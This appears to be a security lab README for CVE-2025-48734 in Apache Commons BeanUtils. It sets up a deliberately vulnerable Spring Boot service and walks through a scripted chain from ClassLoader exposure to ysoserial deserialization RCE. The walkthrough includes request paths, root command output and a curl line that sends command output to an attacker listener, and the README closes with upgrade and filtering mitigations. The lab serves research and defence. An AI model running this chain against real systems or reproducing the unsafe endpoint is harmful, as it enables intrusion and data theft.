
CVE-2025-48734 - Affects Apache Commons BeanUtils in versions prior to 1.11.0 (and the 2.x branch before 2.0.0-M2).
For educational and authorized security research purposes only.
This repository provides a controlled lab environment to reproduce the CVE-2025-48734 vulnerability in Apache Commons BeanUtils and explore how an attacker could escalate to remote code execution (RCE) under certain conditions.
CVE-2025-48734 affects Apache Commons BeanUtils in versions prior to 1.11.0 (and the 2.x branch before 2.0.0-M2). The issue lies in PropertyUtilsBean allowing access to the declaringClass property of Java enums through nested paths (e.g., enum.declaringClass). All enums inherit the getDeclaringClass() method from java.lang.Enum, which BeanUtils exposes as a navigable property.
An attacker who can control the property path in calls to getProperty() or getNestedProperty() can:
ClassLoader (via enum.declaringClass.classLoader).classLoader.URLs[n].⚠️ Important: The vulnerability alone does not directly grant RCE. It provides access to the
ClassLoaderand enables classpath enumeration, which must be chained with an unsafe deserialization endpoint and a vulnerable gadget library to achieve code execution. See the Detailed Exploit Analysis section.
CVSS Score: 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
The lab consists of two components:
A Spring Boot service exposing the following endpoints:
GET /api/property?path=<property-path> — reads a nested property using PropertyUtilsBean.getNestedProperty() without sanitization. This is the CVE entry point.GET /api/nested-set?path=<path>&value=<value> — writes nested properties (also vulnerable).POST /api/data/import — accepts raw Java serialized objects (application/octet-stream) and deserializes them without validation. This is the RCE delivery vector.The target bean is an Order object containing a Status enum. This allows building the chain status.declaringClass.classLoader.
Note: The
/api/data/importendpoint is not part of CVE-2025-48734. It is included to simulate a realistic scenario where a vulnerable deserialization endpoint coexists with the CVE. In a real application this type of endpoint appears in legacy integrations, internal APIs, or misconfigured middleware.
| Library | Version | Role in the chain |
|---|---|---|
commons-beanutils | 1.9.4 | CVE-2025-48734 entry point |
commons-collections | 3.2.2 | Deserialization gadget chain |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
The script installs dependencies, compiles the project, registers it as a systemd service, and starts it automatically. The application listens on 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
The script installs dependencies and downloads ysoserial.
The exploit is fully automated in a single script that enforces the correct phase order. Each phase is a prerequisite for the next.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
The script probes status.declaringClass and status.declaringClass.classLoader. If either is blocked, the script aborts — the application is patched and the chain cannot proceed.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
Using the ClassLoader reference obtained in Phase 1, the script iterates classLoader.URLs[n] to list all loaded JARs and looks for Commons Collections 3.x. If not found, the script aborts — no gadget chain is available.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
With a gadget chain confirmed, the script fuzzes common import/sync endpoints sending the Java serialization magic bytes (0xACED0005) and identifies endpoints attempting ObjectInputStream.readObject() by their response pattern. If no endpoint is found, the script aborts.
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial generates a CommonsCollections6 payload (most portable for Java 11+) and sends it to the discovered endpoint.
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
The command executes on the server during deserialization, before the response is returned. Output can be exfiltrated by redirecting to a file or via HTTP callback:
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
The CVE is not a direct RCE vector — it is the reconnaissance pivot that makes the rest of the chain possible:
Without CVE-2025-48734:
→ No ClassLoader access
→ No classpath enumeration
→ No way to confirm Commons Collections 3.x is present
→ No reason to look for a deserialization endpoint
→ Chain broken at the start
With CVE-2025-48734:
→ ClassLoader exposed
→ Full classpath visible via URLs[n]
→ Commons Collections 3.x confirmed
→ Deserialization endpoint discovered via fuzzing
→ RCE achieved
The three conditions that must align for full RCE:
| Condition | This lab | Real world |
|---|---|---|
| BeanUtils < 1.11.0 with unfiltered path input | ✅ | Common in legacy apps |
| Gadget library in classpath (CC 3.x) | ✅ | Frequent in enterprise Java |
| Unsafe deserialization endpoint |
Upgrade Commons BeanUtils:
| Artifact | Vulnerable | Safe |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
In pom.xml:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
Two complementary mitigations:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
After upgrading BeanUtils to 1.11.0, recompile and restart the service. Run the exploit script — it should abort at Phase 1:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
This tool is provided for educational purposes and authorized security testing only. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.
| ✅ |
| Less common, but present in legacy/middleware integrations |